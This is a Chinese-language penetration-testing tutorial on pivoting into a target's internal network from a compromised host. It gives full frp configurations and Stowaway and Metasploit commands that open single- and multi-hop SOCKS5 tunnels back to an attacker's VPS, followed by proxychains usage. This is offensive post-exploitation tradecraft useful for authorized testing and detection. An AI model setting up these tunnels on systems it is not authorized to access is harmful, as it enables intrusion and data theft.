内网穿透简介
前面也提到过,渗透过程中一般不要把扫描工具直接传到shell的机器上,那么这种情况下如果要进行网络扫描,最好的办法就是在shell的机器上做一个类似VPN的隧道,只要我们连上了这个隧道,就可以从本机访问到shell机器的内网环境了。
内网穿透工具推荐
FRP
frp是一款很成熟的代理软件,不仅可以端口转发,也可以构建socks5代理直接进入到目标内网环境中。但由于太过火爆,杀软几乎都给干掉了。
一级代理
平时遇到最多的情况,也是最简单的情况,简单来说我们拿到了一个shell后,让shell机器和我们的VPS建立socks5隧道,此时我们通过VPS开放的代理端口就可以访问这个socks5隧道也就可以访问整个目标内网了。
服务端(我们的VPS) frps.toml
配置
完整的配置可参考 frps_full_example.toml
bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可
启动服务端
./frps -c frps.toml
客户端(shell机器)frpc.toml
配置
完整配置可参考 frpc_full_example.toml
serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"
启动客户端
./frpc -c frpc.toml
连接成功后,通过 socks5://<用户名>:<密码>@<服务端IP地址>:<服务端端口>
就可以直接代理进入到目标的内网了,可以访问任意内网资源、发起内网请求等。
多级代理
在实战中,我们拿下了内网机器A,通过内网机器A又拿下了内网机器B,但发现内网机器A不通172段,内网机器B通172段但不出网,这时我们想要通过VPS构建socks5隧道访问到172段,就需要建立多级代理;简单图示如下:
服务端(外网VPS)配置frps.toml
和一级代理 一致
bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可
由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。
其中服务端配置 frps.toml
如下:
bindPort = 49378
客户端配置frpc.toml
如下:
serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"
[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去
接下来在客户端2(内网机器B)上配置 frpc.toml
如下,和客户端1(内网机器A)建立隧道。
serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378
[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"
这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052
就可以访问到客户端2(内网机器B)的内网了。
Stowaway
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能;用于解决frp,nps等工具在搭建多级代理时操作过于复杂不便管理的问题。
不知道命令的可以输入help,支持tab键自动补齐,支持上传下载文件,支持shell命令,和远控一样。
一级代理
目标内网全部连通,只需要构建隧道进入到内网即可访问到所有的资源。
在服务端(VPS)启动:
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
在被控端(shell机器)启动:
./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32
建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
use 0
# socks 端口 用户名 密码
socks 55667 username password
此时使用 socks5://username:password@<VPS IP>:55667
就可以代理到被控端的内网了。
多级代理
和FRP上一样的环境
外网VPS上执行:
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
内网机器A上执行:
./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32
这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口
use 0
listen
此时再在内网机器B上执行如下命令和内网机器A建立连接:
./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32
执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:
use 1
socks 55667 username password
此时即可通过 socks5://username:password@<VPS IP>:55667
访问到内网机器B的内网了。
MSF
MSF提供的 auxiliary/server/socks_proxy
模块也可以实现socks5代理。
拿到meterpreter
后,先把路由添加到MSF中,下方为自动添加路由。
use post/multi/manage/autoroute
set SESSION 4
run
这个时候用route print
可以查看到添加的路由表
再启动 socks_proxy 模块就完成了。
use auxiliary/server/socks_proxy
# 需要设置密码、修改端口啥的对应调整即可
run
这个时候代理就搭建好了,就可以通过socks5隧道进入到目标内网了。
curl -x socks5://127.0.0.1:1080 172.16.93.2
suo5
suo5
是一个高性能 HTTP 隧道代理工具,它基于双向的 Chunked-Encoding
构建, 相比 Neo-reGeorg 等传统隧道工具, suo5
的性能可以达到其数十倍。使用可参考官方说明文档。
suo5
和 Neo-reGeorg
怎么选: 如果目标是 Java 的站点,可以使用 suo5
来构建 http 隧道,大多数情况下 suo5
都要比 neo
更稳定速度更快。但 neo
提供了非常多种类的服务端支持,兼容性很好,而且也支持一些 suo5
当前还在开发的功能,也支持更灵活的定制化。
Neo-reGeorg
主要用于HTTP隧道,常用于目标不出网的情况,将shell文件上传到服务器后,通过提供的 neoreg.py 主动连接shell即可构建代理隧道,但速度慢,稳定性差,非必要情况下不推荐使用,可参考官方说明文档。
如何代理工具到内网
上面都是搭建完隧道后用curl简单测试了下代理连通性,但实战中,怎么把我们的工具也通过代理运行到目标内网呢?这里就需要用到一些其他的辅助工具了。
proxychains
ProxyChains是一个UNIX程序,它通过预加载的DLL将网络相关的libc函数挂接到动态链接的程序中,并通过SOCKS4a/5或HTTP代理重定向连接。
使用起来也非常简单,编辑配置文件,在最后加上协议 IP 和 端口保存即可
sudo vim /etc/proxychains.conf
使用时在软件前添加 proxychains
即可强制走代理
proxychains curl ipinfo.io
proxifier
Proxifier允许不支持通过代理服务器工作的网络应用程序通过SOCKS或HTTPS代理和链进行操作,支持MacOS、Windows和Android端。商业软件,使用需要付费。
图形化界面,傻瓜式操作配置即可。
配置好后,使用过程中会有对应的日志提示。